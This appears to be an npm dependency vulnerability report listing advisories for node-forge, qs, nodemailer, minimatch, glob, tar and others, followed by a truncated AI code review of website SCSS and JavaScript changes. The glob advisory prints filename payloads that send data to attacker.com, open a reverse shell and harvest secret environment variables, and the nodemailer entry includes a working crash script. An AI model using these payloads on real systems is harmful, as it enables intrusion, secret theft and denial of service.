An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge asn1.fromDer function within forge/lib/asn1.js. The ASN.1 DER parser implementation (_fromDer) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw RangeError: Maximum call stack size exceeded, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects.

Impact

This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing.

This vulnerability impacts the ans1.fromDer function in node-forge before patched version 1.3.2.

Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability.

Interpretation Conflict

Affected range	`<1.3.2`
Fixed version	`1.3.2`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N`
EPSS Score	`0.059%`
EPSS Percentile	`19th percentile`

Description

Summary

CVE-2025-12816 has been reserved by CERT/CC

Description
An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.

Details

A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within forge/lib/asn1.js. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives.

This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type).

Impact

This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data.

This vulnerability impacts the ans1.validate function in node-forge before patched version 1.3.2.
https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js.

The following components in node-forge are impacted.
lib/asn1.js
lib/x509.js
lib/pkcs12.js
lib/pkcs7.js
lib/rsa.js
lib/pbe.js
lib/ed25519.js

Any downstream application using these components is impacted.

These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.

connect-multiparty 2.2.0 (npm)

pkg:npm/connect-multiparty@2.2.0

Unrestricted Upload of File with Dangerous Type

Affected range	`<=2.2.0`
Fixed version	Not Fixed
CVSS Score	`7.8`
CVSS Vector	`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`
EPSS Score	`0.448%`
EPSS Percentile	`63rd percentile`

Description

An arbitrary file upload vulnerability in the file upload module of Express Connect-Multiparty 2.2.0 allows attackers to execute arbitrary code via a crafted PDF file. NOTE: the Supplier has not verified this vulnerability report.

qs 6.5.3 (npm)

pkg:npm/qs@6.5.3

Improper Input Validation

Affected range	`<6.14.1`
Fixed version	`6.14.1`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.085%`
EPSS Percentile	`25th percentile`

Description

Summary

The arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations.

Note: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=value consumes one parameter slot. The severity has been reduced accordingly.

Details

The arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}
Working code (lib/parse.js:175):
else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}
The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)
Note on parameterLimit interaction: The original advisory's "DoS demonstration" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000.

Impact

Consistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value.

linkifyjs 4.2.0 (npm)

pkg:npm/linkifyjs@4.2.0

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Affected range	`<4.3.2`
Fixed version	`4.3.2`
CVSS Score	`8.8`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N`
EPSS Score	`0.123%`
EPSS Percentile	`32nd percentile`

Description

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') vulnerability in Linkify (linkifyjs) allows XSS Targeting HTML Attributes and Manipulating User-Controlled Variables.This issue affects Linkify: from 4.3.1 before 4.3.2.

qs 6.14.0 (npm)

pkg:npm/qs@6.14.0

Improper Input Validation

Affected range	`<6.14.1`
Fixed version	`6.14.1`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.085%`
EPSS Percentile	`25th percentile`

Description

Summary

The arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations.

Note: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=value consumes one parameter slot. The severity has been reduced accordingly.

Details

The arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}
Working code (lib/parse.js:175):
else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}
The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)
Note on parameterLimit interaction: The original advisory's "DoS demonstration" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000.

Impact

Consistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value.

nodemailer 6.10.1 (npm)

pkg:npm/nodemailer@6.10.1

Improper Check or Handling of Exceptional Conditions

Affected range	`<=7.0.10`
Fixed version	`7.0.11`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
EPSS Score	`0.086%`
EPSS Percentile	`25th percentile`

Description

Summary

A DoS can occur that immediately halts the system due to the use of an unsafe function.

Details

According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.
At the following location in lib/addressparser/index.js:

https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:

g0: g1: g2: g3: ... gN: victim@example.com;

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
addressparser → _handleAddress → addressparser → ...
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:
if (isGroup) {
    ...
    if (data.group.length) {
        let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}
data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

PoC
const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
  let parts = [];
  for (let i = 0; i < depth; i++) {
    parts.push(`g${i}:`);
  }
  return parts.join(' ') + ' user@example.com;';
}

const DEPTH = 3000; // <- control depth 
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
  streamTransport: true,
  buffer: true,
  newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
  {
    from: 'test@example.com',
    to: toHeader,
    subject: 'test',
    text: 'test'
  },
  (err, info) => {
    if (err) {
      console.error('error:', err);
    } else {
      console.log('finished :', info && info.envelope);
    }
  }
);
As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

Impact

The attacker can achieve the following:

Force an immediate crash of any server/service that uses Nodemailer

Kill the backend process with a single web request

In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

minimatch 10.1.2 (npm)

pkg:npm/minimatch@10.1.2

Inefficient Regular Expression Complexity

Affected range	`>=10.0.0 <10.2.1`
Fixed version	`10.2.1`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.040%`
EPSS Percentile	`12th percentile`

Description

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:
/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/
When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

File search/filter UIs that accept glob patterns

.gitignore-style filtering with user-defined rules

Build tools that accept glob configuration

Any API that exposes glob matching to untrusted input

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

glob 10.4.5 (npm)

pkg:npm/glob@10.4.5

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Affected range	`>=10.2.0 <10.5.0`
Fixed version	`11.1.0`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`
EPSS Score	`0.038%`
EPSS Percentile	`11th percentile`

Description

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
Technical Flow:

User runs glob -c <command> <pattern>

CLI finds files matching the pattern

Matched filenames are collected into an array

Command is executed with matched filenames as arguments using shell: true

Shell interprets metacharacters in filenames as command syntax

Malicious filenames execute arbitrary commands

Affected Component:

CLI Only: The vulnerability affects only the command-line interface

Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected

Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.

Any directory where attackers can control filenames (PR branches, archives, user uploads)

CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:
mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'
Trigger Vulnerability:
# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
Result:

The echo command executes normally

Additionally: The $(touch injected_poc) in the filename is evaluated by the shell

A new file injected_poc is created, proving command execution

Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
Reverse Shell:
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
Environment Variable Harvesting:
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
Impact

Arbitrary Command Execution:

Commands execute with full privileges of the user running glob CLI

No privilege escalation required - runs as current user

Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

Malicious PR adds files with crafted names to repository

CI pipeline uses glob -c to process files (linting, testing, deployment)

Commands execute in CI environment with build secrets and deployment credentials

Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

Developer clones repository or extracts archive containing malicious filenames

Local build scripts use glob -c for file processing

Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

Services using glob CLI to process uploaded files or external content

File uploads with malicious names trigger command execution

Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

Malicious packages or themes include files with crafted names

Build processes using glob CLI automatically process these files

Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing

Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL

Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

Ecosystem: npm

Package name: glob

Component: CLI only (src/bin.mts)

Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)

Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)

Patched versions: 11.1.0and 10.5.0

Scope Limitation:

Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe

CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.

If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.

As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

jws 4.0.0 (npm)

pkg:npm/jws@4.0.0

Improper Verification of Cryptographic Signature

Affected range	`=4.0.0`
Fixed version	`4.0.1`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`
EPSS Score	`0.009%`
EPSS Percentile	`1st percentile`

Description

Overview

An improper signature verification vulnerability exists when using auth0/node-jws with the HS256 algorithm under specific conditions.

Am I Affected?

You are affected by this vulnerability if you meet all of the following preconditions:

Application uses the auth0/node-jws implementation of JSON Web Signatures, versions <=3.2.2 || 4.0.0

Application uses the jws.createVerify() function for HMAC algorithms

Application uses user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines

You are NOT affected by this vulnerability if you meet any of the following preconditions:

Application uses the jws.verify() interface (note: auth0/node-jsonwebtoken users fall into this category and are therefore NOT affected by this vulnerability)

Application uses only asymmetric algorithms (e.g. RS256)

Application doesn’t use user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines

Fix

Upgrade auth0/node-jws version to version 3.2.3 or 4.0.1

Acknowledgement

Okta would like to thank Félix Charette for discovering this vulnerability.

async 1.5.2 (npm)

pkg:npm/async@1.5.2

OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Affected range	`<2.6.4`
Fixed version	`2.6.4, 3.2.2`
CVSS Score	`7.8`
CVSS Vector	`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`
EPSS Score	`0.706%`
EPSS Percentile	`72nd percentile`

Description

A vulnerability exists in Async through 3.2.1 (fixed in 3.2.2), which could let a malicious user obtain privileges via the mapValues() method.

minimatch 9.0.5 (npm)

pkg:npm/minimatch@9.0.5

Inefficient Regular Expression Complexity

Affected range	`>=9.0.0 <9.0.6`
Fixed version	`10.2.1`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.040%`
EPSS Percentile	`12th percentile`

Description

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:
/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/
When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

File search/filter UIs that accept glob patterns

.gitignore-style filtering with user-defined rules

Build tools that accept glob configuration

Any API that exposes glob matching to untrusted input

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

tar 7.5.7 (npm)

pkg:npm/tar@7.5.7

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range	`<7.5.8`
Fixed version	`7.5.8`
CVSS Score	`7.1`
CVSS Vector	`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N`
EPSS Score	`0.013%`
EPSS Percentile	`2nd percentile`

Description

Summary

tar.extract() in Node tar allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.

This enables arbitrary file read and write as the extracting user (no root, no chmod, no preservePaths).

Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.

Details

The bypass chain uses two symlinks plus one hardlink:

a/b/c/up -> ../..

a/b/escape -> c/up/../..

exfil (hardlink) -> a/b/escape/<target-relative-to-parent-of-extract>

Why this works:

Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.

See STRIPABSOLUTEPATH logic in:

../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255

../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268

../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281

Hardlink extraction resolves target as path.resolve(cwd, entry.linkpath) and then calls fs.link(target, destination).

../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566

../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567

../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703

Parent directory safety checks (mkdir + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.

../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617

../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619

../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27

../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101

As a result, exfil is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via exfil.

PoC

hardlink.js
Environment used for validation:

Node: v25.4.0

tar: 7.5.7

OS: macOS Darwin 25.2.0

Extract options: defaults (tar.extract({ file, cwd }))

Steps:

Prepare/locate a tar module. If require('tar') is not available locally, set TAR_MODULE to an absolute path to a tar package directory.

Run:
TAR_MODULE="$(cd '../tar-audit-setuid - CVE/node_modules/tar' && pwd)" node hardlink.js
Expected vulnerable output (key lines):
same_inode=true
read_ok=true
write_ok=true
result=VULNERABLE
Interpretation:

same_inode=true: extracted exfil and external secret are the same file object.

read_ok=true: reading exfil leaks external content.

write_ok=true: writing exfil modifies external file.

Impact

Vulnerability type:

Arbitrary file read/write via archive extraction path confusion and link resolution.

Who is impacted:

Any application/service that extracts attacker-controlled tar archives with Node tar defaults.

Impact scope is the privileges of the extracting process user.

Potential outcomes:

Read sensitive files reachable by the process user.

Overwrite writable files outside extraction root.

Escalate impact depending on deployment context (keys, configs, scripts, app data).

tar-fs 2.1.3 (npm)

pkg:npm/tar-fs@2.1.3

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range	`>=2.0.0 <2.1.4`
Fixed version	`2.1.4`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N`
EPSS Score	`0.027%`
EPSS Percentile	`7th percentile`

Description

Impact

v3.1.0, v2.1.3, v1.16.5 and below

Patches

Has been patched in 3.1.1, 2.1.4, and 1.16.6

Workarounds

You can use the ignore option to ignore non files/directories.
  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }
Credit

Reported by: Mapta / BugBunny_ai

qs 6.13.0 (npm)

pkg:npm/qs@6.13.0

Improper Input Validation

Affected range	`<6.14.1`
Fixed version	`6.14.1`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.085%`
EPSS Percentile	`25th percentile`

Description

Summary

The arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations.

Note: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=value consumes one parameter slot. The severity has been reduced accordingly.

Details

The arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}
Working code (lib/parse.js:175):
else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}
The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)
Note on parameterLimit interaction: The original advisory's "DoS demonstration" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000.

Impact

Consistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value.

async 0.9.2 (npm)

pkg:npm/async@0.9.2

OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Affected range	`<2.6.4`
Fixed version	`2.6.4, 3.2.2`
CVSS Score	`7.8`
CVSS Vector	`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`
EPSS Score	`0.706%`
EPSS Percentile	`72nd percentile`

Description

A vulnerability exists in Async through 3.2.1 (fixed in 3.2.2), which could let a malicious user obtain privileges via the mapValues() method.

minimatch 3.1.2 (npm)

pkg:npm/minimatch@3.1.2

Inefficient Regular Expression Complexity

Affected range	`<3.1.3`
Fixed version	`10.2.1`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.040%`
EPSS Percentile	`12th percentile`

Description

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:
/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/
When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

File search/filter UIs that accept glob patterns

.gitignore-style filtering with user-defined rules

Build tools that accept glob configuration

Any API that exposes glob matching to untrusted input

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

tar-fs 3.0.9 (npm)

pkg:npm/tar-fs@3.0.9

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range	`>=3.0.0 <3.1.1`
Fixed version	`3.1.1`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N`
EPSS Score	`0.027%`
EPSS Percentile	`7th percentile`

Description

Impact

v3.1.0, v2.1.3, v1.16.5 and below

Patches

Has been patched in 3.1.1, 2.1.4, and 1.16.6

Workarounds

You can use the ignore option to ignore non files/directories.
  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }
Credit

Reported by: Mapta / BugBunny_ai

coderabbitai

Actionable comments posted: 9

🤖 Prompt for all review comments with AI agents

Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@website/modules/asset/ui/src/scss/_cases.scss`:
- Around line 181-183: Remove the no-op placeholder rule: delete the
.cs_search-bar-input-wrapper:focus-within .cs_search-bar-input::placeholder
block because .cs_search-bar-input::placeholder already sets color to $gray-300;
if the intent was to change the placeholder color on focus-within, update that
selector to a different value instead of duplicating $gray-300.
- Around line 175-179: Remove the conflicting CSS selector rules
(.cs_search-bar-input:not(:placeholder-shown) ~ .cs_search-bar-clear,
.cs_search-bar-input:focus ~ .cs_search-bar-clear, and the duplicate
.cs_search-bar-clear--visible rule) and keep a single modifier rule
.cs_search-bar-clear--visible { display: flex; }, then update search-handler.js
to stop setting clearButton.style.display and instead manage visibility by
toggling the modifier class (use clearButton.classList.add/remove or toggle on
the input events and initialization). This ensures JavaScript-driven visibility
uses the .cs_search-bar-clear--visible class and CSS only provides the
presentation.

In `@website/modules/case-studies-page/index.js`:
- Around line 12-17: The call to self.filterByIndexPage currently discards its
return and breaks the builder-style chain started with
self.pieces.find(...).applyBuildersSafely(...).perPage(...); update the code to
use the returned query object from filterByIndexPage so chaining remains
consistent — either call .filterByIndexPage(...) as part of the chain after
.perPage(...) or reassign query with query = self.filterByIndexPage(query,
req.data.page); ensure you reference the existing functions self.pieces.find,
applyBuildersSafely, perPage and self.filterByIndexPage when making the change.

In `@website/modules/case-studies-page/services/NavigationService.js`:
- Around line 80-92: NavigationService.applySearchFilter duplicates the $or
search-condition found in buildIndexQuery; move the query-shape into
SearchService so there's a single source of truth. Add a method on SearchService
(e.g., buildSearchCondition(searchTerm) or
buildSearchConditionFromRegex(regexPattern)) that returns the { $or: [...] }
object (using the same fields: title, portfolioTitle, etc.), keep
SearchService.buildSearchRegexPattern for the regex, and update
callers—NavigationService.applySearchFilter and the buildIndexQuery function—to
call the new SearchService.buildSearchCondition(...) (or pass the regex) instead
